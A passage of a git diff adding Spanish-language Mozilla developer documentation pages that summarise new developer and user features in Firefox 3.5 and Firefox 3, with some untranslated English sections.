+ <dt><a href="/en-US/docs/Gecko-Specific_DOM_Events#MozMousePixelScroll" title="Gecko-Specific DOM Events#MozMousePixelScroll">El evento MozMousePixelScroll</a></dt>
+ <dd>Este nuevo evento del DOM permite detectar el desplazamiento con la rueda del ratón/mouse en lugar de los eventos basados en la línea de desplazamiento.</dd>
+</dl>
+
+<h4 id="Nuevas_funcionalidades_JavaScript">Nuevas funcionalidades JavaScript</h4>
+
+<dl>
+ <dt><a href="/en-US/docs/New_in_JavaScript_1.8.1" title="New in JavaScript 1.8.1">Nuevo en JavaScript 1.8.1</a></dt>
+ <dd>Una introducción a todos los cambios de JavaScript 1.8.1.</dd>
+ <dt><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/GetPrototypeOf" title="JavaScript/ Reference/Global Objects/Object/GetPrototypeOf"><code>Object.getPrototypeOf()</code></a></dt>
+ <dd>Este nuevo método retorna el prototipo de un objeto especificado.</dd>
+ <dt><a href="/en-US/docs/Using_native_JSON" title="Using JSON in Firefox">Uso de JSON nativo</a></dt>
+ <dd>Firefox 3.5 tiene soporte para <a href="/en-US/docs/JSON" title="JSON">JSON</a> nativo.</dd>
+ <dt>Nuevos métodos trim en el objeto String</dt>
+ <dd>El objeto <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/ Reference/Global Objects/String"><code>String</code></a> tiene ahora los métodos <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/Trim" rel="internal"><code>trim()</code></a>, <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/TrimLeft" rel="internal"><code>trimLeft()</code></a>, y <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/TrimRight" rel="internal"><code>trimRight()</code></a> .</dd>
+</dl>
+
+<h4 id="Networking">Networking</h4>
+
+<dl>
+ <dt><a href="/en-US/docs/HTTP_access_control" title="HTTP access control">Controles de acceso cross-site para HTTP</a></dt>
+ <dd>En Firefox 3.5, es ahora posible en las peticiones HTTP, incluyendo aquellas hechas por <a href="/en-US/docs/XMLHttpRequest" title="XMLHttpRequest"><code>XMLHttpRequest</code></a>, trabajar entre dominios si el servidor lo permite.</dd>
+ <dt><a href="/en-US/docs/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress" title="Using XMLHttpRequest#Monitoring progress">Eventos de progreso para </a><code><a href="/en-US/docs/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress" title="Using XMLHttpRequest#Monitoring progress">XMLHttpRequest</a></code></dt>
+ <dd>Ahora se ofrecen eventos de progreso para que las extensiones puedan monitorizar el progreso de las peticiones.</dd>
+ <dt>Soporte <code>XMLHttpRequest</code> síncrono mejorado</dt>
+ <dd><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=340345" title="https://bugzilla.mozilla.org/show_bug.cgi?id=340345">DOM Timeout</a> y <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=333198" title="https://bugzilla.mozilla.org/show_bug.cgi?id=333198">Input Events</a> son ahora soportados durante un <code>XMLHttpRequest</code> síncrono.</dd>
+ <dt><a href="/en-US/docs/Controlling_DNS_prefetching" title="Controlling DNS prefetching">Control de prefetch de DNS</a></dt>
+ <dd>Firefox 3.5 ofrece prefetch de DNS, por el que resuelve nombres de dominio con anticipación para links incluidos en la página actual, para ahorrar tiempo cuando los enlaces son realmente clickados. Este artículo describe cómo puedes optimizar tu sitio web para desactivar el prefetch, o ajustar cómo opera el prefetch.</dd>
+</dl>
+
+<h4 id="Nuevas_funcionalidades_Canvas">Nuevas funcionalidades Canvas</h4>
+
+<dl>
+ <dt><a href="/en-US/docs/Drawing_text_using_a_canvas" title="Drawing text using a canvas">API de texto HTML 5 para elementos <code>canvas</code></a></dt>
+ <dd>Los elementos Canvas ahora soportan la API de texto HTML 5.</dd>
+ <dt><a href="/en-US/docs/Canvas_tutorial/Applying_styles_and_colors#Shadows" title="Canvas tutorial/Applying styles and colors#Shadows">Efectos de sombra en un <code>canvas</code></a></dt>
+ <dd>Los efectos de sombra de Canvas son ahora soportados.</dd>
+ <dt><a href="/en-US/docs/HTML/Canvas/Pixel_manipulation_with_canvas#Creating_an_ImageData_object" title="HTML/Canvas/Pixel manipulation with canvas#Creating an ImageData object"><code>createImageData()</code></a></dt>
+ <dd>El método canvas <code>createImageData()</code> es ahora soportado, permitiendo al código crear específicamente un objeto <code>ImageData</code> en lugar de necesitar que sea hecho automáticamente. Esto puede mejorar el rendimiento de otros métodos <code>ImageData</code> evitando que deban crear el objeto.</dd>
+ <dt>Atributo <code>moz-opaque</code></dt>
+ <dd>Añadido el atributo DOM <code>moz-opaque</code>, que permite al canvas saber si la translucencia será un factor. Si el canvas sabe que no hay translucencia, el rendimiento de pintado puede ser optimizado.</dd>
+</dl>
+
+<h4 id="Nuevas_funcionalidades_SVG">Nuevas funcionalidades SVG</h4>
+
+<dl>
+ <dt><a href="/en-US/docs/Applying_SVG_effects_to_HTML_content" title="Applying SVG effects to HTML content">Aplicar efectos SVG al contenido HTML</a></dt>
+ <dd>Ahora puedes aplicar efectos SVG a contenido HTML y XHTML; este artículo describe cómo.</dd>
+</dl>
+
+<h4 id="Otras_nuevas_funcionalidades">Otras nuevas funcionalidades</h4>
+
+<dl>
+ <dt><a href="/en-US/docs/ICC_color_correction_in_Firefox" title="ICC color correction in Firefox">Corrección de color ICC en Firefox</a></dt>
+ <dd>Firefox 3.5 ahora soporta corrección de color ICC para imágenes etiquetadas.</dd>
+ <dt>El atributo <code>defer</code> es ahora soportado en elementos <a href="/en-US/docs/HTML/Element/Script" title="HTML/Element/script"><code>script</code></a></dt>
+ <dd>Este atributo indica al navegador que <em>puede</em> escoger continuar parseando y renderizando la página sin esperar a que el script termine de ejecutarse.</dd>
+</dl>
+
+<h3 id="Otras_mejoras">Otras mejoras</h3>
+
+<ul>
+ <li>La propiedad de los nodosde texto <code><a href="/en-US/docs/DOM/Text.wholeText" rel="internal">wholeText</a></code> y el método <code><a href="/en-US/docs/DOM/Text.replaceWholeText" rel="internal">replaceWholeText()</a></code> han sido implementados.</li>
+ <li>La propiedad <code><a href="/en-US/docs/DOM/Element.children" rel="internal">element.children</a></code> ha sido añadida. Retorna una <em>colección</em> de elementos hijo del elemento dado.</li>
+ <li> La propiedad {{domxref("element.contentEditable")}} es ahora soportada, para soportar elementos editables.</li>
+ <li>La API Element Traversal es ahora soportada por el objeto DOM <a href="/en-US/docs/DOM/element" rel="internal">Element</a>.</li>
+ <li>Los nodos de documento HTML pueden ser ahora clonados  usando <a href="/en-US/docs/DOM/Node.cloneNode" title="DOM/Node.cloneNode"><code>cloneNode()</code></a>.</li>
+ <li>El método no estándar <code>getBoxObjectFor()</code> ha sido eliminado. Deberías usar <a href="/en-US/docs/DOM/element.getBoundingClientRect" title="DOM/Element.getBoundingClientRect"><code>getBoundingClientRect()</code></a> en su lugar.</li>
+ <li>Los eventos DOM ya despachados pueden ser ahora re-despachados. Esto hace que Firefox 3.5 pase el test 30 de Acid 3.</li>
+ <li>Se han hecho mejoras en el manejo de rango DOM 2.</li>
+ <li>En ámbito no-chrome, los objetos capturados en excepciones son ahora el objeto realmente lanzado en lugar de un wrapper <a href="/en-US/docs/XPConnect" title="XPConnect">XPConnect</a> que contiene el objeto lanzado.</li>
+ <li>Las referencias ID de SVG ahora son vivas.</li>
+ <li>Los filtros SVG ahora funcionan para <code>foreignObject</code>.</li>
+ <li>El método <code>GetSVGDocument()</code> ha sido añadido a los elementos <a href="/en-US/docs/HTML/Element/object" title="HTML/Element/Object"><code>object</code></a> y <a href="/en-US/docs/HTML/Element/iframe" title="HTML/Element/Iframe"><code>iframe</code></a> por compatibilidad.</li>
+ <li>El setting implícito de propiedades en inicializadores de objeto y array ya no ejecuta los setters JavaScript. Ver el post <a href="/web-tech/2009/04/29/object-and-array-initializers-should-not-invoke-setters-when-evaluated" title="web-tech/2009/04/29/object-and-array-initializers-should-not-invoke-setters-when-evaluated">Object and array initializers should not invoke setters when evaluated</a> para más detalles.</li>
+ <li>La variable <code>gDownloadLastDir.path</code> ha sido renombrada a <code>gDownloadLastDir.file</code> porque se refiere a un {{interface("nsIFile")}}, no a una ruta.</li>
+ <li>La variable <code>gDownloadLastDirPath</code> ha sido renombrada a <code>gDownloadLastDirFile</code> porque se refiere a un {{interface("nsIFile")}}, not a una ruta.</li>
+ <li>A partir de Firefox 3.5, no puedes usar <code>data:</code> bindings en los chrome packages que tienen automatización <code>XPCNativeWrapper</code>.</li>
+</ul>
+
+<h3 id="For_XUL_and_add-on_developers">For XUL and add-on developers</h3>
+
+<p>If you're an extension developer, you should start by reading <a href="/en-US/docs/Updating_extensions_for_Firefox_3.5" title="Updating extensions for Firefox 3.5">Updating extensions for Firefox 3.5</a>, which offers a helpful overview of what changes may affect your extension.</p>
+
+<h4 id="New_components_and_functionality">New components and functionality</h4>
+
+<dl>
+ <dt><a href="/en-US/docs/Supporting_private_browsing_mode" title="Supporting private browsing mode">Supporting private browsing mode</a></dt>
+ <dd>Firefox 3.5 offers Private Browsing mode, which doesn't record the user's activities.  Extensions may support private browsing following the guidelines offered by this article.</dd>
+ <dt><a href="/en-US/docs/Security_changes_in_Firefox_3.5" title="Security changes in Firefox 3.5">Security changes in Firefox 3.5</a></dt>
+ <dd>This article covers security-related changes in Firefox 3.5.</dd>
+ <dt><a href="/en-US/docs/Theme_changes_in_Firefox_3.5" title="Theme changes in Firefox 3.5">Theme changes in Firefox 3.5</a></dt>
+ <dd>This article covers theme-related changes in Firefox 3.5.</dd>
+ <dt><a href="/en-US/docs/Monitoring_WiFi_access_points" title="Monitoring WiFi access points">Monitoring WiFi access points</a></dt>
+ <dd>Code with UniversalXPConnect privileges can now monitor the list of available access points, getting information on their SSIDs, MAC addresses, and signal strength.  This can be used in tandem with Geolocation to offer WiFi-based location service.</dd>
+</dl>
+
+<h4 id="Notable_changes_and_improvements">Notable changes and improvements</h4>
+
+<ul>
+ <li>The XUL <code><a href="../../../../en/XUL/textbox" rel="internal">textbox</a></code> widget now offers a <code><a href="../../../../en/XUL/Attribute/textbox.type" rel="internal">search</a></code> type, for use as search fields.</li>
+ <li>In order to support dragging and dropping tabs between windows, the <a href="/en-US/docs/XUL/browser" title="XUL/Browser"><code>browser</code></a> widget now has a <a href="/en-US/docs/XUL/Method/SwapDocShells" title="XUL/Method/SwapDocShells"><code>swapDocShells()</code></a> method.</li>
+ <li>Added the <a href="/en-US/docs/XUL/Attribute/Panel.level" title="XUL/Attribute/panel.level"><code>level</code></a> attribute to the <a href="/en-US/docs/XUL/panel" title="XUL/Panel"><code>panel</code></a> element; this specifies whether panels appear on top of other applications, or just on top of the window the panel is contained within.</li>
+ <li>XUL elements now support the <code>clientXXX</code> and <code>scrollXXX</code> properties.</li>
+ <li><a href="/en-US/docs/XUL/keyset" title="XUL/Keyset"><code>keyset</code></a>s now include a <code>disabled</code> attribute.</li>
+ <li>In addition, <code>keyset</code>s can now be removed using the node's <a href="/en-US/docs/DOM/Node.removeChild" title="DOM/Node.removeChild"><code>removeChild()</code></a> method.</li>
+ <li><span class="lang lang-en"><code><a href="../../../../en/mozIStorageStatement" rel="internal">mozIStorageStatement</a></code> </span> had the <code>initialize()</code> method removed; consumers should use the <span class="lang lang-en"><code><a href="../../../../en/mozIStorageConnection#createStatement%28%29" rel="internal">createStatement()</a></code> </span> method instead to get a new statement object.</li>
+ <li>The <a href="/en-US/docs/Storage" title="Storage">Storage</a> API now offers support for asynchronous requests.</li>
+ <li>The <a href="/en-US/docs/nsICookie2" title="NsICookie2"><code>nsICookie2</code></a> interface now exposes the time at which cookies were created in its new <code>creationTime</code> attribute.</li>
+ <li>Added a flag to <code><a href="../../../../en/nsIProtocolHandler" rel="internal">nsIProtocolHandler</a></code> (<code>URI_IS_LOCAL_RESOURCE</code>) that is checked during chrome registration to make sure a protocol is allowed to be registered.</li>
+ <li>Firefox now looks for plugins in <code>/usr/lib/mozilla/plugins</code> on Linux, as well as the previously supported locations.</li>
+ <li>The plugin API has been updated to include support for private browsing mode; you may now use <a href="/en-US/docs/NPN_GetValue" title="NPN GetValue"><code>NPN_GetValue()</code></a> to query the state of private browsing mode using the variable <code>NPNVprivateModeBool</code>.</li>
+</ul>
+
+<h2 id="New_features_for_end_users">New features for end users</h2>
+
+<h3 id="User_experience">User experience</h3>
+
+<dl>
+ <dt>Location aware browsing</dt>
+ <dd>If you choose, you may allow Firefox 3.5 to share information about your current location with web sites.  Firefox 3.5 can use information about the network you're connected to to share your location. Of course, it asks for your permission before doing so, to ensure your privacy.</dd>
+ <dt>Open audio and video support</dt>
+ <dd>Firefox 3.5 supports embedded video and audio using the open Ogg format, as well as WAV for audio. No plugins, no confusing error messages about needing to install something or other that turns out not to be available on your platform anyway.</dd>
+ <dt>Local data storage</dt>
+ <dd>Web applications can now use Web Storage's local storage capabilities to store data on your computer.  This is great for anything from site preferences to more complex data.</dd>
+</dl>
+
+<h3 id="Security_and_privacy">Security and privacy</h3>
+
+<dl>
+ <dt>Private Browsing</dt>
+ <dd>Need to use someone else's computer? Switch on Private Browsing mode and nothing will be recorded about your session, including cookies, history, and any other potentially private information.</dd>
+ <dt>Better privacy controls</dt>
+ <dd>The Privacy preference pane has been completely redesigned to offer users more control over their private information. Users can choose to retain or discard anything including history information, cookies, downloads, and form field information.  In addition, users can specify whether or not to include history and/or bookmarks in the location bar's automated suggestions, so you can keep private web addresses from popping up unexpectedly while typing in the location bar.</dd>
+</dl>
+
+<h3 id="Performance">Performance</h3>
+
+<dl>
+ <dt>Faster JavaScript performance</dt>
+ <dd>JavaScript, the "J" in "AJAX," is sped up dramatically in Firefox 3.5 with the new TraceMonkey JavaScript engine.  Web applications are much faster than in Firefox 3.</dd>
+ <dt>Faster page rendering</dt>
+ <dd>Web content draws faster in Firefox 3.5, thanks to technologies such as "speculative parsing." Your users don't need to know what it means, other than "it makes things draw faster."</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Firefox_3_for_developers" title="Firefox 3 for developers">Firefox 3 for developers</a></li>
+ <li><a href="/en-US/docs/Firefox_2_for_developers" title="Firefox 2 for developers">Firefox 2 for developers</a></li>
+ <li><a href="/en-US/docs/Firefox_1.5_for_developers" title="Firefox 1.5 for developers">Firefox 1.5 for developers</a></li>
+</ul>
diff --git a/files/es/firefox_3_para_desarrolladores/index.html b/files/es/firefox_3_para_desarrolladores/index.html
new file mode 100644
index 0000000000..1456bfb969
--- /dev/null
+++ b/files/es/firefox_3_para_desarrolladores/index.html
@@ -0,0 +1,283 @@
+---
+title: Firefox 3 para desarrolladores
+slug: Firefox_3_para_desarrolladores
+tags:
+  - Firefox 3
+translation_of: Mozilla/Firefox/Releases/3
+---
+<div>{{FirefoxSidebar}}</div><p>Si eres un desarrollador que intenta ponerse al día con todas las nuevas características de Firefox 3, este es el lugar perfecto para empezar. Este artículo proporciona una lista de nuevos artículos que tratan sobre las características añadidas a Firefox 3. Aunque no cubre necesariamente todos los pequeños cambios, te ayudará a conocer mejor las mejoras más importantes.</p>
+
+<p> </p>
+
+<h3 id="Caracter.C3.ADsticas_nuevas_para_desarrolladores_en_Firefox_3" name="Caracter.C3.ADsticas_nuevas_para_desarrolladores_en_Firefox_3">Características nuevas para desarrolladores en Firefox 3</h3>
+
+<h4 id="Para_desarrolladores_de_sitios_y_aplicaciones_web" name="Para_desarrolladores_de_sitios_y_aplicaciones_web">Para desarrolladores de sitios y aplicaciones web</h4>
+
+<dl>
+ <dt><a href="/es/Actualizar_aplicaciones_web_para_Firefox_3" title="es/Actualizar_aplicaciones_web_para_Firefox_3">Actualizar aplicaciones web para Firefox 3</a></dt>
+ <dd>Información sobre los cambios que se podrían necesitar para realizar un sitio o aplicación web y sacarle mayor ventaja a las nuevas características de Firefox 3.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Eventos_online_y_offline" title="es/Eventos_online_y_offline">Eventos online y offline</a></dt>
+ <dd>Firefox 3 implementa los eventos conectado y desconectado definidos por WHATWG, que permiten a aplicaciones y extensiones descubrir si una conexión activa de internet es disponible, además de detectar cuando hay conexión o desconexión.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/DOM/window.navigator.registerProtocolHandler" title="es/DOM/window.navigator.registerProtocolHandler">Manipuladores de protocolo web</a></dt>
+ <dd>Ahora se puede registrar una aplicación web como manipulador de protocolo con el método <code>navigator.registerProtocolHandler()</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Dibujar_texto_usando_canvas" title="es/Dibujar_texto_usando_canvas">Dibujar texto usando canvas</a></dt>
+ <dd>Ahora se puede dibujar texto en canvas con una API no estándar implementada por Firefox 3.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Tutorial_de_Canvas/Transformaciones#Transformaciones" title="es/Tutorial_de_Canvas/Transformaciones#Transformaciones">Gestión de transformaciones en canvas</a></dt>
+ <dd>Firefox 3 administra los métodos <code>transform()</code> y <code>setTransform()</code> en canvases (lienzos).</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/El_uso_de_microformatos" title="es/El_uso_de_microformatos">El uso de microformatos</a></dt>
+ <dd>Firefox 3 tiene APIs que permiten trabajar con microformatos.</dd>
+</dl>
+
+<p><span class="comment">;<a href="/es/Hojas_de_estilo_alternativas">Hojas de estilo alternativas</a> :Firefox 3 implementa modelos alternativos de hojas de estilo API de objeto CSS.</span></p>
+
+<dl>
+ <dt><a href="/es/Eventos_arrastrar_y_soltar" title="es/Eventos_arrastrar_y_soltar">Eventos arrastrar y soltar</a></dt>
+ <dd>Firefox 3 implementa nuevos eventos que se envían al nodo de origen cuando la operación de arrastre comienza y termina.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Gestión_del_foco_en_HTML" title="es/Gestión_del_foco_en_HTML">Gestión del foco en HTML</a></dt>
+ <dd>Se han implementado los atributos <code>activeElement</code> y <code>hasFocus</code> de la nueva especificación HTML 5.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Recursos_en_modo_desconectado_en_Firefox" title="es/Recursos_en_modo_desconectado_en_Firefox">Recursos en modo desconectado en Firefox</a></dt>
+ <dd>Firefox 3 permite ahora que las aplicaciones web soliciten que recursos puedan ser puestos en cache para ser ejecutados en modo desconectado.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Mejoras_CSS_en_Firefox_3" title="es/Mejoras_CSS_en_Firefox_3">Mejoras CSS en Firefox 3</a></dt>
+ <dd>Firefox 3 ofrece un número de mejoras en su implementación de CSS.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Mejoras_DOM_en_Firefox_3" title="es/Mejoras_DOM_en_Firefox_3">Mejoras DOM en Firefox 3</a></dt>
+ <dd>Firefox 3 ofrece mejoras en la implementación de DOM, incluyendo la gestión de varias extensiones de Internet Explorer al DOM.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Novedades_en_JavaScript_1.8" title="es/Novedades_en_JavaScript_1.8">Implementación de JavaScript 1.8</a></dt>
+ <dd>Firefox 3 ofrece JavaScript 1.8.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/EXSLT" title="es/EXSLT">Implementación de EXSLT</a></dt>
+ <dd>Firefox 3 permite la utilización de una parte importante de las extensiones <a href="/es/EXSLT" title="es/EXSLT">EXSLT</a> y <a href="/es/XSLT" title="es/XSLT">XSLT</a>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Mejoras_SVG_en_Firefox_3" title="es/Mejoras_SVG_en_Firefox_3">Mejoras SVG en Firefox 3</a></dt>
+ <dd>La implementación a SVG en Firefox 3 ha sido mejorada de manera significante, con muchos nuevos filtros, elementos, atributos y otras mejoras.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Gráficos_PNG_animados" title="es/Gráficos_PNG_animados">Gráficos PNG animados</a></dt>
+ <dd>Firefox 3 administra las imágenes animadas en formato PNG (APNG).</dd>
+</dl>
+
+<h4 id="Para_desarrolladores_de_XUL_y_de_extensiones" name="Para_desarrolladores_de_XUL_y_de_extensiones">Para desarrolladores de XUL y de extensiones</h4>
+
+<h5 id="Cambios_y_mejoras_notables" name="Cambios_y_mejoras_notables">Cambios y mejoras notables</h5>
+
+<dl>
+ <dt><a href="/es/Actualizar_extensiones_para_Firefox_3" title="es/Actualizar_extensiones_para_Firefox_3">Actualizar extensiones para Firefox 3</a></dt>
+ <dd>Una guía con las cosas que hay que hacer para poner al día una extensión para que trabaje con Firefox 3.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Mejoras_XUL_en_Firefox_3" title="es/Mejoras_XUL_en_Firefox_3">Mejoras XUL en Firefox 3</a></dt>
+ <dd>Firefox 3 ofrece varios nuevos elementos XUL, incluyendo escaleras deslizables, selectores de hora y fecha, y botones de incremento.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Plantillas_en_Firefox_3" title="es/Plantillas_en_Firefox_3">Plantillas en Firefox 3</a></dt>
+ <dd>Las plantillas han sido notablemente mejoradas en Firefox 3. Las mejoras más importantes es la posibilidad de usar procesadores de solicitud personalizada para permitir el uso de otras fuentes de datos que RDF.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Versionado,_actualización_y_compatibilidad_de_extensiones#Asegurando_las_actualizaciones" title="es/Versionado,_actualización_y_compatibilidad_de_extensiones#Asegurando_las_actualizaciones">Asegurando las actualizaciones</a></dt>
+ <dd>Para proporcionar actualizaciones más seguras de los complementos a los usuarios, ahora los complementos requieren proporcionar un método seguro para obtener las actualizaciones antes de ser instaladas. Los complementos alojados en <a class="external" href="http://addons.mozilla.org">AMO</a> lo proporcionan automáticamente.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Migrar_y_usar_el_catálogo" title="es/Migrar_y_usar_el_catálogo">Migrar y usar el catálogo</a></dt>
+ <dd>Un artículo sobre como migrar una extensión existente para utilizar el API de catálogo.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Mejoras_en_el_administrador_de_descargas_en_Firefox_3" title="es/Mejoras_en_el_administrador_de_descargas_en_Firefox_3">Mejoras en el gestor de descargas en Firefox 3</a></dt>
+ <dd>El administrador de descargas de Firefox 3 contiene nuevas y mejoradas APIs, incluyendo la implementación de múltiples escuchas de progreso.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Uso_de_nsILoginManager" title="es/Uso_de_nsILoginManager">Uso de nsILoginManager</a></dt>
+ <dd>El administrador de contraseñas ha sido reemplazado por el nuevo Login Manager.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/XBL/Referencia_de_XBL_1.0/Elementos#binding" title="es/XBL/Referencia_de_XBL_1.0/Elementos#binding">Integración de los vínculos XBL</a></dt>
+ <dd>Ya es posible utilizar el protocolo URL <code>data:</code> para integrar directamente los vínculos XBL en lugar de tener que colocarlos en un archivo XML por separado.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Traducir_las_descripciones_de_las_extensiones" title="es/Traducir_las_descripciones_de_las_extensiones">Traducir las descripciones de las extensiones</a></dt>
+ <dd>Firefox 3 ofrece un nuevo método localizando add-on metadata. Esto permite que los detalles localizados estén disponibles tan pronto como los add-on han sido descargados, al igual que cuando el add-on sea desinstalado.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Localización_y_Plurales" title="es/Localización_y_Plurales">Localización y plurales</a></dt>
+ <dd>Firefox 3 dispone del nuevo módulo PluralForm, el cual sirve para ayudar a poner correctamente en plural las palabras según el idioma local.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Cambios_en_los_temas_de_Firefox_3" title="es/Cambios_en_los_temas_de_Firefox_3">Cambios en los temas de Firefox 3</a></dt>
+ <dd>Notas e información para quienes quisiera crear temas para Firefox 3.</dd>
+</dl>
+
+<h5 id="Nuevos_componentes_y_funcionalidades" name="Nuevos_componentes_y_funcionalidades">Nuevos componentes y funcionalidades</h5>
+
+<dl>
+ <dt><a href="/es/FUEL" title="es/FUEL">Biblioteca FUEL</a></dt>
+ <dd>FUEL sirve para facilitar la productividad de los desarrolladores de extensiones, reduciendo algunas formalidades de XPCOM y colocando algunas ideas "modernas" en JavaScript.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Catálogo" title="es/Catálogo">Catálogo</a></dt>
+ <dd>Las APIS del historial y de los marcadores han sido remplazadas completamente por la nueva API del <a href="/es/Catálogo" title="es/Catálogo">Catálogo</a>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/nsIIdleService" title="es/nsIIdleService">Servicio idle</a></dt>
+ <dd>Firefox 3 ofrece la nueva interfaz {{ Interface("nsIIdleService") }}, la cual permite a las extensiones determinar cuánto tiempo ha pasado desde que el usuario pulso una tecla o movió el ratón por última vez.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/El_convertidor_ZIP" title="es/El_convertidor_ZIP">El convertidor ZIP</a></dt>
+ <dd>La nueva interfaz <code>nsIZipWriter</code> permite a las extensiones crear archivos ZIP.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Zoom_a_página_completa" title="es/Zoom_a_página_completa">Zoom a página completa</a></dt>
+ <dd>Firefox 3 mejora la experiencia de usuario ofreciendo zoom a página completa además de zoom de solo texto.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/El_colector_de_ciclo_XPCOM" title="es/El_colector_de_ciclo_XPCOM">El colector de ciclo XPCOM</a></dt>
+ <dd>El código XPCOM puede beneficiarse del colector de ciclo, el cual ayuda a asegurar que la memoria no utilizada es liberada y evitar fugas de memoria.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/El_administrador_de_hilos" title="es/El_administrador_de_hilos">El administrador de hilos</a></dt>
+ <dd>Firefox 3 proporciona la nueva interfaz {{ Interface("nsIThreadManager") }}, así como otras nuevas interfaces para hilos y eventos de hilos, los cuales proporcionan una manera apropiada de crear y administrar hilos en tu código.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Módulos_JavaScript" title="es/Módulos_JavaScript">Módulos JavaScript</a></dt>
+ <dd>Firefox 3 ofrece un nuevo mecanismo de código compartido que te permite crear módulos facilmente en JavaScript que pueden ser cargados por extensiones y aplicaciones para su uso, muy parecido a las librerías compartidas.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/NsIJSON" title="es/NsIJSON">La interfaz nsIJSON</a></dt>
+ <dd>Firefox 3 ofrece la nueva interface {{ Interface("nsIJSON") }}, which offers high-performance encoding and decoding of JSON strings.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/NsIParentalControlsService" title="es/NsIParentalControlsService">La interfaz nsIParentalControlsService</a></dt>
+ <dd>Ahora Firefox 3 implementa las características del control parental de Microsoft Windows Vista, y permite al cñodigo interactuar con él.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Usar_las_preferencias_de_contenido" title="es/Usar_las_preferencias_de_contenido">Usar las preferencias de contenido</a></dt>
+ <dd>Firefox 3 incluye un nuevo servicio para obtener y fijar configuraciones especificas para cada sitio web que pueden usar tanto las extensiones como el código principal para llevar un registro de las preferencias de usuarios en sitios individuales.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/Vigilancia_de_plugins" title="es/Vigilancia_de_plugins">Vigilancia de plugins</a></dt>
+ <dd>Está disponible un nuevo componente del sistema de plugins para controlar el tiempo que les toma a los plugins (como por ejemplo: Macromedia Flash) ejecutar sus llamadas.</dd>
+</dl>
+
+<h3 id="Bugs_ya_solucionados" name="Bugs_ya_solucionados">Bugs ya solucionados</h3>
+
+<dl>
+ <dt><a href="/es/Bugs_importantes_solucionados_en_Firefox_3" title="es/Bugs_importantes_solucionados_en_Firefox_3">Bugs importantes solucionados en Firefox 3</a></dt>
+</dl>
+
+<h3 id="Nuevas_caracter.C3.ADsticas_para_el_usuario_final" name="Nuevas_caracter.C3.ADsticas_para_el_usuario_final">Nuevas características para el usuario final</h3>
+
+<h4 id="Mejoras_para_el_usuario" name="Mejoras_para_el_usuario">Mejoras para el usuario</h4>
+
+<ul>
+ <li><strong>Gestión más sencilla de contraseñas.</strong> En la parte superior de la ventana del navegador aparece una barra de información que permitirá guardar las contraseñas después de iniciar la sesión.</li>
+ <li><strong>Instalación simplificada de complementos.</strong> Ahora, instalar extensiones de terceros se hace en menos pasos porque se ha eliminado el filtro de los sitios de confianza para la descarga de complementos.</li>
+ <li><strong>Nuevo administrador de descargas.</strong> El administrador de descargas facilita el acceso a los archivos descargados.</li>
+ <li><strong>Reanudar descargas.</strong> Podemos reanudar las descargas al reiniciar el navegador o la conexión a la red.</li>
+ <li><strong>Vista a pantalla completa.</strong> Podemos aumentar o reducir el tamaño de todo el contenido de la página desde el menú Ver o con los atajos de teclado. Estas modificaciones de tamaño se aplicarán tanto al texto como a las imágenes.</li>
+ <li><strong>Desplazamiento y menú rápido de pestañas.</strong> Las pestañas son más fáciles de identificar gracias a su nueva característica de desplazamiento y menú rápido.</li>
+ <li><strong>Guardar lo que estamos haciendo.</strong> En Firefox 3, una ventana emergente nos preguntará si queremos guardar las pestañas abiertas antes de cerrar.</li>
+ <li><strong>Comportamiento de la opción "Abrir en pestañas".</strong> Al abrir una carpeta de marcadores en pestañas, las pestañas nuevas no sustituyen a las que están abiertas sino que se suman a ellas.</li>
+ <li><strong>Barra de direcciones y de búsquedas más simples de dimensionar.</strong> Modificar el tamaño de la barra de dirección y de búsquedas se hace fácilmente con el icono que aparece entre ellas.</li>
+ <li><strong>Mejoras en la selección de texto.</strong> Podemos seleccionar varias secciones de texto con la tecla Control 'Ctrl' (Comando en Macintosh), un doble clic y arrastrar lo hará palabra por palabra y un triple clic agarrará un párrafo entero.</li>
+ <li><strong>Barra de búsqueda.</strong> La barra de búsqueda funciona también sobre la selección actual.</li>
